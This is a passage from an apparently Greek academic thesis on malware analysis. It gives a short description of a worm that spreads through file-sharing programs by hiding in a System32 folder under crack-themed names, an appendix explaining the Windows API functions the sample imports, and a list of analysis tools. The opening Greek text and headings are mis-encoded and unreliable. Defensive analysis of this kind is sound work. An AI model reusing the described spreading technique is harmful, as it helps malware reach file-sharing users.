ζπγθεθξηκέλν Url κεηα από εληνιή ηνπ (!update) . Μεηαδίδεηαη κέζσ πξνγξακκάησλ 

δηακνηξαζκνύ αξρείσλ όπσο ην Emule, ην Kazaa, θαη ην DC++ δεκηνπξγώληαο έλαλ 

θάθειν κε ην όλνκα msview κέζα ζην System32 ζηνλ νπνίνλ ηνπνζεηεί ηνλ εαπηό ηνπ 

κε δηάθνξα νλόκαηα ηα νπνία ζρεηίδνληαη κε cracks θαη serial numbers γλσζηώλ 

εθαξκνγώλ ελώ ζηελ ζπλέρεηα ξπζκίδεη ηα πξνγξάκκαηα δηακνηξαζκνύ αξρείσλ έηζη 

ώζηε λα ζπκπεξηιάβνπλ ηνλ θάθειν απηό ζηνπο δηακνηξαδόκελνπο θαθέινπο. 

 

 

 

 

 



Πα
νε
πι
στ
ήμ
ιο 
Πε
ιρα
ιώ
ς

5 ΠΑΡΑΡΣΗΜΑ 

 

ΠΕΡΙΓΡΑΦΗ ΣΩΝ ΕΙ΢ΑΓΩΜΕΝΩΝ ΢ΤΝΑΡΣΗ΢ΕΩΝ 
 

CloseHandle Closes an open object handle 

CopyFileA Copies an existing file to a new file 

CreateDirectoryA Creates a new directory. If the underlying file system supports 

security on files and directories, the function applies a specified security descriptor to 

the new directory 

CreateFileA Creates or opens a file or I/O device. The most commonly used I/O 

devices are as follows: file, file stream, directory, physical disk, volume, console buffer, 

tape drive, communications resource, mailslot, and pipe. The function returns a handle 

that can be used to access the file or device for various types of I/O depending on the 

file or device and the flags and attributes specified. 

CreateMutexA Creates a mutual exclusion object that can be used by malware to 

ensure that only a single instance of the malware is running on a system at any given 

time. Malware often uses fixed names for mutexes, which can be good host-based 

indicators to detect additional installations of the malware 

CreateThread Creates a thread to execute within the virtual address space of the 

calling process. The number of threads a process can create is limited by the available 

virtual memory. By default, every thread has one megabyte of stack space. Therefore, 

you can create at most 2,048 threads. If you reduce the default stack size, you can 

create more threads. However, your application will have better performance if you 

create one thread per processor and build queues of requests for which the application 

maintains the context information. A thread would process all requests in a queue 

before processing requests in the next queue. The new thread handle is created with 

the THREAD_ALL_ACCESS access right. If a security descriptor is not provided when 

the thread is created, a default security descriptor is constructed for the new thread 

using the primary token of the process that is creating the thread 
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GetCοmmandLineA Retrieves the command-line string for the current process. 

GetFileSize Retrieves the size of the specified file, in bytes. 

GetModuleFileNameA Returns the filename of a module that is loaded in the current 

process. Malware can use this function to modify or copy files in the currently running 

process. 

GetModuleHandleA Used to obtain a handle to an already loaded module. Malware 

may use GetModuleHandle to locate and modify code in a loaded module or to search 

for a good location to inject code. 

GetProcessHeap Retrieves a handle to the default heap of the calling process. This 

handle can then be used in subsequent calls to the heap functions. 

GetSystemDirectoryA Retrieves the path of the system directory. The system directory 

contains system files such as dynamic-link libraries and drivers. Malware sometimes 

uses this call to determine into which directory to install additional malicious programs 

GetTickCount Retrieves the number of milliseconds that have elapsed since the 

system was started, up to 49.7 days. 

HeapAlloc Allocates a block of memory from a heap. The allocated memory is not 

movable. 

HeapFree Frees a memory block allocated from a heap by the HeapAlloc or 

HeapReAlloc function. 

OpenMutexA Opens an existing named mutex object. 

ReadFile Reads data from the specified file or input/output (I/O) device. Reads occur at 

the position specified by the file pointer if supported by the device. 

RtlUnwind Initiates an unwind of procedure call frames. 

ZeroMemory Fills a block of memory with zeros. 

http://msdn.microsoft.com/en-us/library/windows/desktop/aa366597(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/aa366704(v=vs.85).aspx
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SetFilePointer Moves the file pointer of the specified file. 

Sleep Suspends the execution of the current thread until the time-out interval elapses. 

WriteFile Writes data to the specified file or input/output (I/O) device. 

lstrcatA Appends one string to another. 

lstrcmpA Compares two character strings. The comparison is case-sensitive. 

lstrcmpiA Compares two character strings. The comparison is not case-sensitive. 

lstrcpyA Copies a string to a buffer. 

lstrcpynA Copies a specified number of characters from a source string into a buffer. 

lstrlenA Determines the length of the specified string (not including the terminating null 

character). 

InternetCloseHandle Closes a single Internet handle. 

InternetOpenA Initializes an application's use of the WinINet functions. 

InterneOpenUrlA Opens a resource specified by a complete FTP or HTTP URL. 

InternetReadFile Reads data from a handle opened by the InternetOpenUrl, 

FtpOpenFile, or HttpOpenRequest function 

WSAStartup Used to initialize low-level network functionality. Finding calls to 

WSAStartup can often be an easy way to locate the start of networkrelated 

functionality. 

Connect establishes a connection to a specified socket 

Gethostbyaddr retrieves the host information corresponding to a network address 

http://msdn.microsoft.com/en-us/library/windows/desktop/aa385098(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/aa384166(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/aa384233(v=vs.85).aspx
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Gethostbyname retrieves host information corresponding to a host name from a host 

database 

Htons converts a u_short from host to TCP/IP network byte order (which is big-endian). 

Inet_addr Converts an IP address string like 127.0.0.1 so that it can be used by 

functions such as connect.  

Recv receives data from a connected socket or a bound connectionless socket. 

Send Sends data to a remote machine. Malware often uses this function to send data to 

a remote command-and-control server. 

Socket creates a socket that is bound to a specific transport service provider 

RegCreatkeyExA Creates the specified registry key. If the key already exists, the 

function opens it. Note that key names are not case sensitive. 

RegCloseKey Closes a handle to the specified registry key. 

RegOpenKeyExA Opens the specified registry key. Note that key names are not case 

sensitive. 

RegQueryValueExA Retrieves the type and data for the specified value name 

associated with an open registry key 

RegSetValueExA Sets the data and type of a specified value under a registry key. 

WsprintfA Writes formatted data to the specified buffer. Any arguments are converted 

and copied to the output buffer according to the corresponding format specification in 

the format string. The function appends a terminating null character to the characters it 

writes, but the return value does not include the terminating null character in its 

character count. 
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ShellExecuteA Performs an operation on a specified file. Used to execute another 

program. If malware creates a new process, you will need to analyze the new process 

as well 

Exit terminates a process 

Memset fills memory block with character 

Raise sending a signal to the program that contains this raise() call 

Rand pseudo-random number generator 

Srand seeds the random number generation function rand so it does not produce the 

same sequence of numbers 

Strchr Searches a string for the first occurrence of a character that matches the 

specified character. The comparison is case-sensitive 

Strtok returns a pointer to the next "token" in str1, where str2 contains the delimiters 

that determine the token. strtok() returns NULL if no token is found. In order to convert a 

string to tokens, the first call to strtok() should have str1 point to the string to be 

tokenized. All calls after this should have str1 =  NULL. 

 

 

 

 

 

 

 

 

 

 

http://www.lix.polytechnique.fr/~liberti/public/computing/prog/c/C/FUNCTIONS/rand.html
http://www.elook.org/computing/null.htm
http://www.elook.org/computing/null.htm
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6 Ι΢ΣΟ΢ΔΛΙΓΔ΢ ΔΡΓΑΛΔΙΧΝ 

 
 

[1] UPX, http://upx.sourceforge.net/   

[2] TrIDNet, http://mark0.net/soft-tridnet-e.html   

[3] BinText http://www.mcafee.com/us/downloads/free-tools/bintext.aspx   

[4] Dependency Walker http://www.dependencywalker.com/   

[5] FakeDNS http://labs.idefense.com/software/malcode.php   

[6] CaptureBAT https://www.honeynet.org/node/315   

[7] Active Ports http://www.devicelock.com/freeware.html   

[8] Wireshark http://www.wireshark.org/   

[9] Netcat http://nc110.sourceforge.net/   

[10] VMWare Player http://www.vmware.com/products/player/ 

[11] Process Eplorer http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx 

[12] RegShot http://sourceforge.net/projects/regshot/  

[13] ProcessMonitor http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx 

[14] Autoruns http://technet.microsoft.com/en-us/sysinternals/bb963902.aspx  

[15] PEID http://www.softpedia.com/get/Programming/Packers-Crypters-

Protectors/PEiD-updated.shtml  

[16] IDA Pro http://www.hex-rays.com/products/ida/index.shtml  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

http://upx.sourceforge.net/
http://mark0.net/soft-tridnet-e.html
http://www.mcafee.com/us/downloads/free-tools/bintext.aspx
http://www.dependencywalker.com/
http://labs.idefense.com/software/malcode.php
https://www.honeynet.org/node/315
http://www.devicelock.com/freeware.html
http://www.wireshark.org/
http://nc110.sourceforge.net/
http://www.vmware.com/products/player/
http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx
http://sourceforge.net/projects/regshot/
http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx
http://technet.microsoft.com/en-us/sysinternals/bb963902.aspx
http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml
http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml
http://www.hex-rays.com/products/ida/index.shtml
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